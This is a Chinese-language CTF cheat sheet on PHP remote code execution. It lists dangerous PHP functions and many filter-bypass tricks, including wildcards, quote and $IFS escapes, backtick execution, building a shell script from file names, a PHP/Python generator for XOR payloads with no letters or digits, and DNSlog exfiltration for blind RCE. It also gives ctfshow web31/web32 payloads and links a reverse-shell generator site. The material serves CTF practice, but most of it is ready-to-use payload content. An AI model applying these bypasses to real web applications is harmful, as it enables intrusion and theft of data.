RCE
推荐在线生成反弹shell的网站
[\~\]#棱角 ::Edge.Forum\*](https://forum.ywhack.com/shell.php) ### 代码执行 PHP 代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort () ### 命令执行 PHP 命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen ()、passthru()等 ### 绕过 #### 关键词过滤 1、过滤flag关键字 利用通配符 > cat fl\* 匹配文件名前两位为fl的文件 > > cat ?l\* 匹配文件名第一位随机,第二位为l的文件 >  2、转义符号、空变量( ∗ 、 \*、 ∗、@、 x 、 x、 x、{x}) ```shell c\at f\lag.txt cat fl''ag.txt c'a't flag.txt ```  ```shell ca$*t fl$*ag.txt ca$@t [email protected] ca$3t fl$3ag.txt ca${v}t fl${v}ag.txt ```  3、拼接法 ```shell a=f;b=lag;c=.txt;cat$IFS$a$b$c; ``` $IFS 等于空格  4、反引号 反引号在linux中代表命令执行 ```shell cat `ls` //查看目录下所有文件 ```  5、编码 将被过滤的地方编码 然后利用解码命令执行   6、组合绝活 ```shell touch "g.txt" touch "fla\\" touch "t \\" touch "ca\\" ls -t > shell //-t 按照时间排序 sh shell ```  7、异或无符号 例如下题,过滤掉所有字符了  将正则放进代码修改运行即可 ```php =32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ``` 生成txt后,使用下列python代码构造payload ```python import requests import urllib from sys import * import os def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param) ```   #### 命令过滤 过滤cat > more:一页一页的显示档案内容 > > less:与 more 类似 > > head:查看头几行 > > tac:从最后一行开始显示,可以看出tac是cat的反向显示tai1:查看尾几行 > > nl:显示的时候,顺便输出行号 > > od:以二进制的方式读取档案内容 > > vi:一种编辑器,这个也可以查看 > > vim:一种编辑器,这个也可以查看 > > sort:可以查看 > > uniq:可以查看 > > file -f:报错出具体内容 > > sh /flag.txt //报错出文件内容 > > curl file:///root/f/flag > > strings flag > > uniq -c flag > > bash -v flag > > rev flag #### 空格过滤 %09(url传递)(cat%09flag.txt) cat${IFS}flag.txt  a=flag;b=.txt;cat I F S IFS IFSa$b;  {cat,flag.txt}  ### 无回显利用 1、直接写个文件看能否访问 2、直接进行对外访问(dnslog数据外带)   ### ctf多种玩法 #### 参数逃逸 ctfshow-web31  ?c=eval($_GET\["aa"\]);\&aa=system("sort+flag.php");  #### rce转文件包含伪协议 ctfshow-web32  ?c=include$_GET\["code"\]?\>\&code=php://filter/read=convert.base64-encode/resource=flag.php ?\>在这里的作用是为了使得\&code=被当作参数,而不是php代码执行  